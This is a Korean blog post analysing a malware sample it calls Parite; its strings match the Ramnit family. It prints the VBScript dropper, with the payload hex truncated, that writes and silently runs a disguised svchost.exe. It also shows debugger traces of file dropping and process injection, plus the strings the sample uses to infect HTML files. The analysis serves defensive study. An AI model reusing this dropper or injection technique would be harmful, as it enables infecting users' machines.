annyoung

vbscript parite 악성코드 본문

분석생활

vbscript parite 악성코드

nopsled 2015. 10. 24. 14:21

  흔히들 말하는 파리떼(Parite) 바이러스이다. 한번 감염되면 거의 포맷을 해야되는 상황까지 오는.. 그러니 빨리 치료를 하던지 놔두고 포맷을 하던지 둘 중 하나다. 이런 악성코드에 감염되면 참 골치아프다. 나름 랜섬웨어(?) 비슷한 놈이다.










<SCRIPT Language=VBScript><!--

DropFileName = "svchost.exe"

WriteData = "4D5A90000300000004000 ..생략.. 8656C705700000000000000000000"

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName

If FSO.FileExists(DropPath)=False Then

Set FileObj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step 2

FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))

Next

FileObj.Close

End If

Set WSHshell = CreateObject("WScript.Shell")

WSHshell.Run DropPath, 0

//--></SCRIPT> 

  중국 카지노 사이트에서 유포되고 있는 페이지 소스 중 VBScript만 채증했다. WriteData에는 악성코드의 Data가 담겨 있고 CreateObject를 통하여 FileSystemObject를 로드하여 파일을 저장한다. (요즘도 이게 되나 싶다...)



 FileName

 svchost.exe

 MD5

 FF5E1F27193CE51EEC318714EF038BEF

 SHA-1

 B4FA74A6F4DAB3A7BA702B6C8C129F889DB32CA6

 Packer

 UPX 2.90 [LZMA] (Delphi stub) -> Markus Oberhumer, Laszlo Molnar & John Reise

[표1] 악성코드 정보



  눈으로 봐도 알 수 있는 전형적인 UPX 패턴을 가지고 있으므로 간단하게 언패킹 해준다. 참고로 파리떼 바이러스라고 진단되어 있으니 조심하면서 분석하자. (가상머신이면 괜찮다.)


0012F5D8   7C835B8C  /CALL to CreateFileW from kernel32.7C835B87

0012F5DC   00161E90  |FileName = "C:\Program Files\Microsoft\px3.tmp"

0012F5E0   80000000  |Access = GENERIC_READ

0012F5E4   00000000  |ShareMode = 0

0012F5E8   00000000  |pSecurity = NULL

0012F5EC   00000001  |Mode = CREATE_NEW

0012F5F0   00000080  |Attributes = NORMAL

0012F5F4   00000000  \hTemplateFile = NULL

  C:\Program Files\Microsoft\px3.tmp로 파일을 생성한 후 현재 프로세스의 데이터를 백업시킨 후 px3.tmp에서 DesktopLayer.exe로 파일명을 변경한다.



0012FF08   004013C0  /CALL to CreateProcessA from test.004013BB

0012FF0C   00000000  |ModuleFileName = NULL

0012FF10   009F0020  |CommandLine = "C:\Program Files\Microsoft\DesktopLayer.exe"

0012FF14   00000000  |pProcessSecurity = NULL

0012FF18   00000000  |pThreadSecurity = NULL

0012FF1C   00000000  |InheritHandles = FALSE

0012FF20   00000000  |CreationFlags = 0

0012FF24   00000000  |pEnvironment = NULL

0012FF28   00000000  |CurrentDir = NULL

0012FF2C   0012FF44  |pStartupInfo = 0012FF44

0012FF30   0012FF34  \pProcessInfo = 0012FF34

  현재 실행되어 있는 부모 프로세스 밑에 자식 프로세스로 Program Files경로에 드랍된 바이너리를 실행한다.



0012FF80   77F5EFE6  /CALL to RegOpenKeyExA from ADVAPI32.77F5EFE1

0012FF84   80000000  |hKey = HKEY_CLASSES_ROOT

0012FF88   0040D8E9  |Subkey = "http\shell\open\command"

0012FF8C   00000000  |Reserved = 0

0012FF90   02000000  |Access = 2000000

0012FF94   0012FFB0  \pHandle = 0012FFB0


  RegOpenKeyExA를 이용하여 기본 브라우저를 가져오기 위하여 "HKCR\http\shell\open\command\" 레지스트리에 접근한다. 



0012FF34   004013C0  /CALL to CreateProcessA from DesktopL.004013BB

0012FF38   00000000  |ModuleFileName = NULL

0012FF3C   0040DFD0  |CommandLine = "C:\Program Files\Google\Chrome\Application\chrome.exe"

0012FF40   00000000  |pProcessSecurity = NULL

0012FF44   00000000  |pThreadSecurity = NULL

0012FF48   00000000  |InheritHandles = FALSE

0012FF4C   00000000  |CreationFlags = 0

0012FF50   00000000  |pEnvironment = NULL

0012FF54   00000000  |CurrentDir = NULL

0012FF58   0012FF70  |pStartupInfo = 0012FF70

0012FF5C   0012FF60  \pProcessInfo = 0012FF60

  자식 프로세스로 생성된 DesktopLayer.exe는 레지스트리에 접근하여 가져온 값으로 프로세스를 생성한다.



0012EF04   004020E2  /CALL to WriteProcessMemory from DesktopL.004020DD

0012EF08   00000054  |hProcess = 00000054 (window)

0012EF0C   20010000  |Address = 20010000

0012EF10   20010000  |Buffer = 20010000

0012EF14   0000D000  |BytesToWrite = D000 (53248.)

0012EF18   00000000  \pBytesWritten = NULL

  프로세스 메모리에 악성행위를 하는 데이터를 코드 인젝션 시킨다.



 FileName

 _20010000.mem.dll

 MD5

 72EE0A4447497F676B373F8AA2A86383

 SHA-1

 83B941D87F1A6770DAC72B1D0F795843C5DC1168

 Packer

 패커 사용하지 않음

[표2] 실질적으로 악성 행위가 이루어지는 악성코드 정보

                                                                                                                                                                                                                                                                              

.data:1000A2C8 00000036 C Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon 

.data:1000A2FE 00000009 C Userinit                                                                                        

.data:1000A307 00000007 C REG_SZ                                                                                        

.data:1000A314 0000000F C %ProgramFiles%                                                                          

.data:1000A323 00000015 C %CommonProgramFiles%                                                            

.data:1000A338 00000016 C %HOMEDRIVE%%HOMEPATH%                                                 

.data:1000A34E 0000000A C %APPDATA%                                                                              

.data:1000A366 0000014D C :///:GET /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml;q=0.9, image/png, image/jpeg, image/gif, image/x-xbitmap, *\\*;q=0.1\r\nAccept-Charset: utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\nPragma: no-cache\r\nConnection: close\r\n\r\n                                            

.data:1000A4D5 00000008 C getexec                                                                                       

.data:1000A4DF 0000000D C complete.dat                                                                              

.data:1000A500 00000007 C .rmnet                                                                                         

.data:1000A50E 0000000D C LoadLibraryA                                                                              

.data:1000A51B 0000000F C GetProcAddress                                                                           

.data:1000A52A 0000000D C Imagehlp.dll                                                                                

.data:1000A53B 00000013 C CheckSumMappedFile                                                                  

.data:1000A556 00000014 C Software\\WASAntidot                                                                 

.data:1000A56A 00000008 C disable                                                                                         

.data:1000A572 00000014 C Antidot is activate                                                                         

.data:1000A586 0000000A C </SCRIPT>                                                                                   

.data:1000A590 000001E6 C <SCRIPT Language=VBScript><!--\r\nDropFileName = \"svchost.exe\"\r\nWriteData = \"\"\r\nSet FSO = CreateObject(\"Scripting.FileSystemObject\")\r\nDropPath = FSO.GetSpecialFolder(2) & \"\\\" & DropFileName\r\nIf FSO.FileExists(DropPath)=False Then\r\nSet FileObj = FSO.CreateTextFile(DropPath, True)\r\nFor i = 1 To Len(WriteData) Step 2\r\nFileObj.Write Chr(CLng(\"&H\" & Mid(WriteData,i,2)))\r\nNext\r\nFileObj.Close\r\nEnd If\r\nSet WSHshell = CreateObject(\"WScript.Shell\")\r\nWSHshell.Run DropPath, 0\r\n//--></SCRIPT>RmN

.data:1000A776 0000000C C autorun.inf

.data:1000A782 00000009 C RECYCLER  

.data:1000A78B 00000005 C .exe          

.data:1000B044 00000005 C html         

  해당 악성코드의 기능은 모든 html확장자 맨 뒤에 VBScript를 넣어주어 카지노 사이트와 같이 똑같이 감염시킨다. WriteData의 경우 4D5A~~~로 시작하는 DesktopLayer.exe의 데이터를 써 넣는 것으로 추정된다. 



허나.. dll 정상 실행이 불가능하므로 여기까지 분석하고 분석 종료.


Comments